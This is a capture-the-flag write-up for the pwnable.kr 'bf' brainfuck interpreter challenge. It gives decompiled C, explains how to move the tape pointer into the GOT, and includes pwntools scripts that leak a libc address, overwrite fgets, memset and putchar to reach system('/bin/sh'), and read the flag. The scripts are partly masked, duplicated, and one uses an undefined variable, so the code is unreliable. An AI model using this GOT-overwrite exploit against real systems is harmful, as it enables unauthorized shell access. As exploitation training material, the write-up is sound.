I made a simple brain-fuck language emulation program written in C. The [] commands are not implemented yet. However the rest functionality seems working fine. Find a buf and exploit it to get a shell.
< main() / do_brainfuck() >
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // ebp@0
int v4; // ST1C_4@1
int result; // eax@4
int v6; // edx@4
size_t i; // [sp+28h] [bp-40Ch]@1
char s[1024]; // [sp+2Ch] [bp-408h]@1
int v9; // [sp+42Ch] [bp-8h]@1
v4 = *(_DWORD *)(v3 + 12);
v9 = *MK_FP(__GS__, 20);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
p = (int)&tape;
puts("welcome to brainfuck testing system!!");
puts("type some brainfuck instructions except [ ]");
memset(s, 0, 0x400u);
fgets(s, 1024, stdin);
for ( i = 0; i < strlen(s); ++i )
do_brainfuck(s[i]);
result = 0;
v6 = *MK_FP(__GS__, 20) ^ v9;
return result;
}
int __usercall do_brainfuck@<eax>(int a1@<ebp>)
{
int result; // eax@1
_BYTE *v2; // ebx@7
*(_BYTE *)(a1 - 12) = *(_DWORD *)(a1 + 8);
result = *(_BYTE *)(a1 - 12);
switch ( result )
{
case 62:
result = p++ + 1;
break;
case 60:
result = p-- - 1;
break;
case 43:
result = p;
++*(_BYTE *)p;
break;
case 45:
result = p;
--*(_BYTE *)p;
break;
case 46:
result = putchar(*(_BYTE *)p);
break;
case 44:
v2 = (_BYTE *)p;
result = getchar();
*v2 = result;
break;
case 91:
result = puts("[ and ] not supported.");
break;
default:
return result;
}
return result;
}
{
int v3; // ebp@0
int v4; // ST1C_4@1
int result; // eax@4
int v6; // edx@4
size_t i; // [sp+28h] [bp-40Ch]@1
char s[1024]; // [sp+2Ch] [bp-408h]@1
int v9; // [sp+42Ch] [bp-8h]@1
v4 = *(_DWORD *)(v3 + 12);
v9 = *MK_FP(__GS__, 20);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
p = (int)&tape;
puts("welcome to brainfuck testing system!!");
puts("type some brainfuck instructions except [ ]");
memset(s, 0, 0x400u);
fgets(s, 1024, stdin);
for ( i = 0; i < strlen(s); ++i )
do_brainfuck(s[i]);
result = 0;
v6 = *MK_FP(__GS__, 20) ^ v9;
return result;
}
int __usercall do_brainfuck@<eax>(int a1@<ebp>)
{
int result; // eax@1
_BYTE *v2; // ebx@7
*(_BYTE *)(a1 - 12) = *(_DWORD *)(a1 + 8);
result = *(_BYTE *)(a1 - 12);
switch ( result )
{
case 62:
result = p++ + 1;
break;
case 60:
result = p-- - 1;
break;
case 43:
result = p;
++*(_BYTE *)p;
break;
case 45:
result = p;
--*(_BYTE *)p;
break;
case 46:
result = putchar(*(_BYTE *)p);
break;
case 44:
v2 = (_BYTE *)p;
result = getchar();
*v2 = result;
break;
case 91:
result = puts("[ and ] not supported.");
break;
default:
return result;
}
return result;
}
This is the decompiled source of main and do_brainfuck.
It takes a string from the user(fgets) and executes the function "do_brainfuck" as much as the length of the input string. The "do_brainfuck" function applies the switch statement for each character in the string.
❑ The description of the switch statement.
❍ 62(>) : This increases the address of the pointer p.
❍ 60(<) : This decreases the address of the pointer p.
❍ 43(+) : This increases the value pointed by the pointer p.
❍ 45(-) : This decreases the value pointed by the pointer p.
❍ 46(.) : This prints the 1byte value pointed by the pointer p.
❍ 44(,) : This get a value of 1byte from standard input.
❍ 91([) : This prints the specific string.
The pointer "p" has the address of the "type" variable, so the functions in the source code can be overrided by changing the position of the "p".
But be careful about the arguments of the functions to change. A function which argument is not a string can not be passed the argument "/bin/bash" even if it changed to "system()" function.
And this strategy will solve the game.
1. To get the base address of the shared library, move "p" to "fgets()", print the address and save it.
2. And change "fgets()" to "system()".
3. Move "p" to "memset()" and change it to "gets()".
4. Move "p" to "putchar()" and change it to "main()".
I originally tried to go to "memset ()" first to get the base address of the shared library, but that was not possible. The reason is below.
I checked that the executable file uses shared libraries. But..
"memst()" seems to come from another shared library. The base address is different. So I calculated the base address from "fgets()". This is the result of checking with the source code below.
from pwn import *
host = 'pwnable.kr'
port = 9001
libc = ELF('/root/test/bf_libc.so')
pointerP = 0x0804A0A0
initGetchar = 0x0804A00C
initFgets = 0x0804A010
initPuts = 0x0804A018
initStrlen = 0x0804A020
initSetvbuf = 0x0804A028
initMemset = 0x0804A02C
initPutchar = 0x0804A030
initMain = 0x080484E0
offGetchar = libc.symbols['getchar']
offFgets = libc.symbols['fgets']
offPuts = libc.symbols['puts']
offStrlen = libc.symbols['strlen']
offSetvbuf = libc.symbols['setvbuf']
offMemset = libc.symbols['memset']
offPutchar = libc.symbols['putchar']
offgets = libc.symbols['gets']
offSystem = libc.symbols['system']
funcSeq = [initGetchar, initFgets, initPuts, initStrlen, initSetvbuf, initMemset, initPutchar]
funcSeqStr = ["getchar", "fgets", "puts", "strlen", "setvbuf", "memset", "putchar"]
payload = ""
payload += '<' * (pointerP - initGetchar)
payload += '.>' * 0x04
payload += '<' * 0x04
for i in range(0, len(funcSeq)-1) :
# Move pointer
payload += '>' * (funcSeq[i+1] - funcSeq[i])
# Leak addr
payload += '.>' * 0x04
payload += '<' * 0x04
r = remote(host, port)
r.recvuntil('[ ]\n')
r.sendline(payload)
# Read libc addr
funcLibcAddr=[]
for aSeqStr in funcSeqStr :
rd = unpack(r.recvn(4))
print "libc addr(" + aSeqStr + ") : " + str(hex(rd))
print "offset : " + str(hex(libc.symbols[aSeqStr]))
print "base addr : " + str(hex(rd-libc.symbols[aSeqStr]))
print ""
r.send(p32(libc_addr + offSystem))
r.send(p32(libc_addr + offgets))
r.send(p32(initMain))
r.sendline('/bin/sh\x00')
r.interactive()
r.close()
host = 'pwnable.kr'
port = 9001
libc = ELF('/root/test/bf_libc.so')
pointerP = 0x0804A0A0
initGetchar = 0x0804A00C
initFgets = 0x0804A010
initPuts = 0x0804A018
initStrlen = 0x0804A020
initSetvbuf = 0x0804A028
initMemset = 0x0804A02C
initPutchar = 0x0804A030
initMain = 0x080484E0
offGetchar = libc.symbols['getchar']
offFgets = libc.symbols['fgets']
offPuts = libc.symbols['puts']
offStrlen = libc.symbols['strlen']
offSetvbuf = libc.symbols['setvbuf']
offMemset = libc.symbols['memset']
offPutchar = libc.symbols['putchar']
offgets = libc.symbols['gets']
offSystem = libc.symbols['system']
funcSeq = [initGetchar, initFgets, initPuts, initStrlen, initSetvbuf, initMemset, initPutchar]
funcSeqStr = ["getchar", "fgets", "puts", "strlen", "setvbuf", "memset", "putchar"]
payload = ""
payload += '<' * (pointerP - initGetchar)
payload += '.>' * 0x04
payload += '<' * 0x04
for i in range(0, len(funcSeq)-1) :
# Move pointer
payload += '>' * (funcSeq[i+1] - funcSeq[i])
# Leak addr
payload += '.>' * 0x04
payload += '<' * 0x04
r = remote(host, port)
r.recvuntil('[ ]\n')
r.sendline(payload)
# Read libc addr
funcLibcAddr=[]
for aSeqStr in funcSeqStr :
rd = unpack(r.recvn(4))
print "libc addr(" + aSeqStr + ") : " + str(hex(rd))
print "offset : " + str(hex(libc.symbols[aSeqStr]))
print "base addr : " + str(hex(rd-libc.symbols[aSeqStr]))
print ""
r.send(p32(libc_addr + offSystem))
r.send(p32(libc_addr + offgets))
r.send(p32(initMain))
r.sendline('/bin/sh\x00')
r.interactive()
r.close()
And This is the finished code(Some code is masked).
from pwn import *
pointerP = 0x0804A0A0
initFgets = 0x0804A010
initMemset = 0x0804A02C
initPutchar = 0x0804A030
initMain = 0x08048671
libc = ELF('/root/test/bf_libc.so')
offFgets = libc.symbols['fgets']
offgets = libc.symbols['gets']
offSystem = libc.symbols['system']
strToSubmit = ""
strToSubmit += '<' * (pointerP-initFgets)
strToSubmit += ■■■■■
strToSubmit += '<' * 4
strToSubmit += ',>' * 4
strToSubmit += '<' * 4
strToSubmit += '>' * (■■■■■■■■■■)
strToSubmit += ',>' * 4
strToSubmit += '<' * 4
strToSubmit += '>' * (initPutchar - initMemset)
strToSubmit += ',>' * 4
strToSubmit += '.'
r = remote('pwnable.kr', 9001)
r.recvuntil('except [ ]\n')
r.sendline(strToSubmit)
libc_fgets = int(struct.unpack("<I", str(r.recvn(4)))[0])
libc_addr = libc_fgets - offFgets
r.send(struct.pack("<I", libc_addr + offSystem))
r.send(struct.pack("<I", libc_addr + offgets))
r.send(struct.pack("<I", initMain))
r.send('cat flag\n')
r.interactive()
r.close()
pointerP = 0x0804A0A0
initFgets = 0x0804A010
initMemset = 0x0804A02C
initPutchar = 0x0804A030
initMain = 0x08048671
libc = ELF('/root/test/bf_libc.so')
offFgets = libc.symbols['fgets']
offgets = libc.symbols['gets']
offSystem = libc.symbols['system']
strToSubmit = ""
strToSubmit += '<' * (pointerP-initFgets)
strToSubmit += ■■■■■
strToSubmit += '<' * 4
strToSubmit += ',>' * 4
strToSubmit += '<' * 4
strToSubmit += '>' * (■■■■■■■■■■)
strToSubmit += ',>' * 4
strToSubmit += '<' * 4
strToSubmit += '>' * (initPutchar - initMemset)
strToSubmit += ',>' * 4
strToSubmit += '.'
r = remote('pwnable.kr', 9001)
r.recvuntil('except [ ]\n')
r.sendline(strToSubmit)
libc_fgets = int(struct.unpack("<I", str(r.recvn(4)))[0])
libc_addr = libc_fgets - offFgets
r.send(struct.pack("<I", libc_addr + offSystem))
r.send(struct.pack("<I", libc_addr + offgets))
r.send(struct.pack("<I", initMain))
r.send('cat flag\n')
r.interactive()
r.close()
❑ The "init ~" variables are all ".got" addresses except for "main" and "pointerP".
❑ "symbols()" loads the offset of the function from the shared library.
❑ "remote()" makes a socket connection.
※ "putchar()" is blocked until the data arrives and does not follow any further instructions, so putting all instructions in "strToSubmit" is not a problem.